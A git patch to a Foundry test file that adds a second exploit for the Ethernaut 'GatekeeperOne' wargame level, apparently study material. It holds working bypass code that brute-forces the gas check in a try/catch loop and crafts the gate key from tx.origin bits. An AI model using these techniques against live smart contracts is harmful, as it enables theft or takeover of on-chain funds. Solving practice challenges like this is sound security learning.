From 6b8d3551e1bbd258d5a355cdfc818ce8bf0ba0dc Mon Sep 17 00:00:00 2001 From: leovct Date: Thu, 19 Sep 2024 15:02:31 +0200 Subject: [PATCH] feat: add another exploit method for ethernaut level 13 --- test/Ethernaut/GatekeeperOneExploit.t.sol | 51 +++++++++++++++++++++-- 1 file changed, 47 insertions(+), 4 deletions(-) diff --git a/test/Ethernaut/GatekeeperOneExploit.t.sol b/test/Ethernaut/GatekeeperOneExploit.t.sol index 89e6a72..b1f84f5 100644 --- a/test/Ethernaut/GatekeeperOneExploit.t.sol +++ b/test/Ethernaut/GatekeeperOneExploit.t.sol @@ -5,7 +5,7 @@ import '../../src/Ethernaut/GatekeeperOne.sol'; import '@forge-std/Test.sol'; import '@forge-std/console2.sol'; -contract Helper { +contract Helper1 { constructor(address _target, bytes8 _gateKey) { // How to find the right gas value to send to the contract?! // Calculating exact gas usage for each operation proved challenging... @@ -13,7 +13,7 @@ contract Helper { // Steps: // 1. Modified GatekeeperOne's gate two to: `require(gasleft() >= 8191*10)`. // 2. Started with base gas of 8191*10 (81,910) + 500 gas = 82,410. This succeeded. - // I started with a higher base becase I noticed that using 10k or 20k gas reverts with an OutOfGas error. + // I started with a higher base because I noticed that using 10k or 20k gas reverts with an OutOfGas error. // 3. Tried base + 250 gas = 82,160. This failed. // 4. Iteratively narrowed down: // - base + 267 gas (82,177) failed @@ -25,6 +25,23 @@ contract Helper { } } +contract Helper2 { + constructor(address _target, bytes8 _gateKey) { + GatekeeperOne target = GatekeeperOne(_target); + uint gasAmount = 8191 * 10; + bool success = false; + uint i; + while(!success) { + i++; + gasAmount -= 1; + try target.enter{gas: gasAmount}(_gateKey) returns (bool result) { + success = result; + } catch{} + } + console2.log('Exploit succeeded in %d tries', i); + } +} + contract GatekeeperOneExploit is Test { GatekeeperOne target; address deployer = makeAddr('deployer'); @@ -37,7 +54,33 @@ contract GatekeeperOneExploit is Test { vm.stopPrank(); } - function testExploit() public { + function testExploit1() public { + address entrant = target.entrant(); + console2.log('Current entrant: %s', entrant); + assertEq(entrant, address(0x0)); + + // Set exploiter to be the msg.sender. + // Note that we also pass a second argument to override cast's default tx.origin. + vm.startPrank(exploiter, exploiter); + bytes8 gateKey = bytes8( + // Set the first significant byte to 0x11 (a random value) and all the other bytes to 0. + // This enables to have: + // - uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)) + // - uint32(uint64(_gateKey)) != uint64(_gateKey) + (uint64(0x1100000000000000) & 0xFF00000000000000) | + // Set the two last significant bytes to the two last significant bytes of tx.origin. + // This enables to have: uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)) + (uint64(uint16(uint160(address(exploiter)))) & 0x000000000000FFFF) + ); + new Helper1(address(target), gateKey); + vm.stopPrank(); + + entrant = target.entrant(); + console2.log('New entrant: %s', entrant); + assertEq(entrant, address(exploiter)); + } + + function testExploit2() public { address entrant = target.entrant(); console2.log('Current entrant: %s', entrant); assertEq(entrant, address(0x0)); @@ -55,7 +98,7 @@ contract GatekeeperOneExploit is Test { // This enables to have: uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)) (uint64(uint16(uint160(address(exploiter)))) & 0x000000000000FFFF) ); - new Helper(address(target), gateKey); + new Helper2(address(target), gateKey); vm.stopPrank(); entrant = target.entrant();